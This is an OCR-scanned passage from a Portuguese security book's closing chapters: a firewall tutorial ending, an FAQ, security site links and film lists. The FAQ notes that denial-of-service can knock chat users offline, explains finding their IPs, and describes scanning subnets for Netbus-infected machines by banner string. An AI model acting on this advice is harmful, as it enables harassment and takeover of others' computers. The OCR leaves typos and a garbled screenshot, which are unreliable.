necessita obrigatoriamente que sgja) a biblioteca FtpSrvC. Ficard assim:

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, FtpSrv, FtpSrvC,;

Pronto. Rode o programa e curta seu mini-firewall. Tente conectar a ele usando o telnet.
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Perguntas mais frequentes

O que é um FAQ (perguntas mais frequentes)?

Quando tratamos de um assunto especifico na Internet (uma péagina sobre os tipos de
peixes existentes, por exemplo) , geralmente recebemos muitas perguntas e duvidas de
visitantes. Muitas dessas pessoas tém dividas em comum, por exemplo: qual é o maior peixe
de agua doce? Pegamos entdo esses perguntas e juntamos ela em um FAQ, ou perguntas mais
frequentas, para que novos visitantes esclarecem essas davidas. NO nosso caso ndo sera
diferente, esse capitulo € um Mini-FAQ com perguntas mais frequentes feitas a mim por
usuarios da Internet sobre o assunto.

Como descobrir o ip e derrubar pessoas em um bate-papo

Muitas pessoas me fizeram essa pergunta (algumas ja haviam lido esse livro). A resposta é
a seguinte: para derrubar alguém pode ser usado um ataque de denia of service. O IP que é 0
problema. Alguns tipos de chat, como o IRC mostram facilmente o IP de uma pessoa (a
solugcdo nesses casos seria usar um wingate para esconder o IP) e messengers como o 1CQ
também o mostram com facilidade (pois além do servidor vocé precisa estabel ecer um contato
direto, IP a IP, quando um arquivo é enviado por exemplo). Pegue por exemplo o programa
Trillian (www.superdownloads.com.br). Ele pode servir como base para o Y ahoo Messenger,
0 AOL Messenger, o MSN Messenger e o ICQ. E mostra o IP de qualquer pessoa, além de
outras boas opgoes.

Agora, em bate-papos (me recuso a chamé-1os de chat, séo bate-papos mesmo) como UOL,
TERRA ou qualquer outro baseado em servidor web é muito dificil descobrir o IP, pois o
unico endereco que vocé pode ver através de algum utilitario de rede (como netstat ou arp) é
0 do servidor da sala de bate-papo. 1sso porqué nesse tipo de bate-papo a Unica intencdo €
conversar, ndo da pra trocar informacOes diretas entre usuarios (e obviamente saber seus
enderecos |P). A menos que vocé convenca agquel e cara chatissimo a te enviar uma mensagem
por 1CQ, esqueca. Resumindo: quando alguém chegar em alguma sala do UOL dizendo “vou
invadir todo mundo” ou coisas do tipo, ria um pouco da cara dele. Ou se ainda tiver davidas
sobre a sua seguranca, use um proxy. E caso encerrado.
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Como posso diferenciar trojans de anti-trojans com um scanner?

Se vocé habilitar o anti-trojans e mandar scannear a subnet em que vocé esta pela porta do
Netbus (12345), 0 scanner mostrara que o seu computador esta com a porta aberta. Mas como
saber se essa porta é a de algum computador infectado ou € alguma armadilha, como um
programa detector de invasdes fingindo ser o trojan? A resposta é simples. Pela string. Ao
usar um programa que conecte-se na porta especificada e verifique uma string vocé encontrara
trojans facilmente e evitara as armadilhas. Exemplo:

wGateScan v2.2 for Wind5 by 5 i e ] [
Hostname or IP:{200.195.1.1 ~| Del]

The above addreszs will be zcanned fram the [P :

[200 195 [1 11 " to [200 195 [24 [255

Connection time out 1§71 = sec.  Mumber of threads:i'l v;

Scan the port 0” ; i'l a3
{* Open the port and by to receive the shing [Metbus 1.7

" Open the port and ty ko send the sting it ke Pulez |
" Ty to open the port only

| Scan | Chop About... Cluit |
Scan progress ; Host pozitian ; I&T

Servers found ; iND WfinGiate's found... _:j Clear Iisti _ ;
s b s
O programa Wingate Scan permite que vocé o configure para mostrar portas com a
string que vocé quiser, 6timo também para encontrar novos Wingates (string wingate> ).

Eu posso usar o telnet para entrar em qualquer porta?

Sim e ndo. Pode us&-lo para entrar na porta que quiser, mas essa PRECISA possuir um
servigo rodando ou ndo adiantara absolutamente nada. E nem todas as versdes de telnet
mostram contelidos de portas. O telnet do Windows 95 , 98 e ME é uma porcaria.
Experimente o Port test, uma espécie de telnet simples mas eficaz. Pegue-o em
http://www.hackersclub.com/km/files/hfiles .

Por qué vocé colocou tao pouco de Linux / Unix no livro?

Uma otima questdo. Quem leu esse livro de cabo a rabo deve ter percebido que del apenas
uma breve introducéo sobre o Linux e sobre o0 Windows, e apesar de a maioria dos exemplos
de programas ser para Windows nd me peguei realmente a nenhum sistema operacional.
Vega 0 seguinte: parece uma contradicao, disse bem la no inicio que o Linux é melhor que o
Windows, certo? Mas por qué citei programas para Windows?
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Pressupfe-se que uma pessoa que tenha o Linux instalado em casa ja tenha um

conhecimento melhor do que uma que possui Windows. Ent&o serd muito mais facil para ela
ler as se¢Oes e procurar um programa similar ao que foi usado como exemplo. Nos sites
citados (inclusive no fim deste livro) existem excelentes ferramentas para Linux e Unix (entre
outros sistemas, como Macintosh) que podem ser experimentadas sem maiores problemas.
Resumindo: esse ndo € um livro sobre sistemas operacionais, € um livro sobre a seguranca
como um aspecto universal. Desgjo que um usuario de BeOS por exemplo possa ler e mesmo
gue seu sistema ndo segja citado nem de longe, aproveite muito dos conhecimentos agui
citados.

Vocé me ajuda a invadir o sistema fulano de tal?

Por favor, ndo me fagam esse tipo de pergunta. N&o porqué eu me ache o sabichdo, coisa
gue sei que ndo SOU e nunca Sserel Pois sou apenas mais um a aprender. Como disse no
prefacio, informética, internet e seguranca € a minha paixdo. Aprendi a ler e escrever em um
MSX. Comecei a conhecer sobre basic ali. Confesso que quando era mais novo realmente fiz
muitas besteiras com o computador e s6 ndo me arrependo delas pois elas me trouxeram
conhecimento e me fizeram amadurecer muito.

Bom, como dizem, aguas passadas ndo movem moinhos. Resumindo: ndo invado
computadores , gosto apenas de divulgar 0 conhecimento que eu consegui obter e ndo quero
causar prejuizos a ninguém. Tiro qualquer divida com o maior prazer, mas ndo me pegam pra
fazer nada, por favor.

Se alguém tiver mais sugestdes para o FAQ, me enviem que colocarei com o maior
prazer.
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Conhecendo mais do assunto

Sites de seguranca versus sites de hackers

Para utilizar a Internet como um excelente veiculo de aprendizado, vocé tera que ter
algumas coisinhas em mente. A questdo dos sites de seguranca, por exemplo. Para saber
novidades vocé ndo precisa visitar aquelas paginas escuras horriveis, com programas como 0
Winnuke para download, caveiras para todo lado e o texto “Invasdo por IP”. O interesse real
estd nos sites empresariais de seguranca. Esses sim tém um conteldo excelente, desde
ferramentas, novos bugs descobertos e 6timos xploits. Sites como o Technotronic
(www.technotronic.com) ou o Security-focus (www.security-focus.com) sdo apenas alguns
dos incriveis sites que existem por ai. Visite-o periodicamente e esteja sempre procurando por
novos scanners, ferramentas, firewalls, enfim, tome gosto pela coisa. As recompensas alongo
prazo serdo grandes: evitar dores de cabeca.

A importancia do profissional de seguranca

A menos que vocé sgja um administrador que fica sentado o dia inteiro sem fazer
absolutamente nada, ndo tenha medo de sugerir aos seus superiores a contratagdo de um
especialista em seguranca. Eles ndo irdo |he despedir, pelo contrério, verdo que vocé esta
realmente interessado no bem da empresa. Explique que a area da seguranca € muito grande e
gue todos os dias alguém deve visitar os sites especializados e procurar por atualizactes e
correcdo de bugs. E um especialista em seguranca ndo € aquele que € PhD em ciéncias da
computacdo. A informatica muda muito répido e as pessoas que fazem curso superior nessa
area tém tanta coisa 0 que estudar que muitas vezes a segurancga ndo € aprendida a fundo.
Prefira os profissionais que fizeram cursos especiais (como cursos oficiais da Microsoft, da
Conectiva ou da Cisco Systems).

Pense seriamente em contratar um hacker. Sendo uma pessoa que gosta do que faz, pode
ter certeza que seu sistema estara bem seguro. N&o seja levado por esse pensamento bobo de
que € perigoso possuir um hacker trabalhando na empresa. 1sso € uma bobagem pois ele € um
funcionério como qualquer outro, com direito a promocdes e ao olho da rua. Faga um contrato
com ele em que ele se responsabilizara se algum ato ilicito acontecer por sua causa. E
constrangedor, mas elimina o medo que os patrdes tém.

Sites com matérias sobre o0 assunto
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A grande maioria dos sites s8o em inglés. Afie bem o seu vocabulary pois séo as
mel hores homepages do mundo.

www.blackhats.com

www.2600.com

www.security-focus.com

www.blackcode.com

www.undergroundnews.com

www.technotronic.com

www.cyberarmy.com

www.whitehats.com

www.cyberarmy.com

www.rootshell.com

WWW.Securitysearch.net

www.hackernews.com

www.hackersclub.com

www.hackers.com

E algunsbrasileiros:
WWW.Securenet.com.br

www.txt.org (site com textos 6timos)
WWW.invasao.com.br

www.hacker.com.br

www.hackers.com.br
www.anti-trojans.cjb.net  (website do programa Anti-Trojans feito pelo autor)

Filmes
A Rede
Hackers
Quebra de sigilo
Cacada virtual
Ameaca virtual
Piratas da informética

Jogos de guerra (war games)
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Netforce

Jurassic Park (vale a pena ver uma “hacker” de saias)
Matrix (classico)

Livros
Seguranca Maxima — primeira e segunda edicGes
Hackers Expostos — primeira, segunda e terceira edicdes
Breaking into Windows systems (livro em inglés)

136



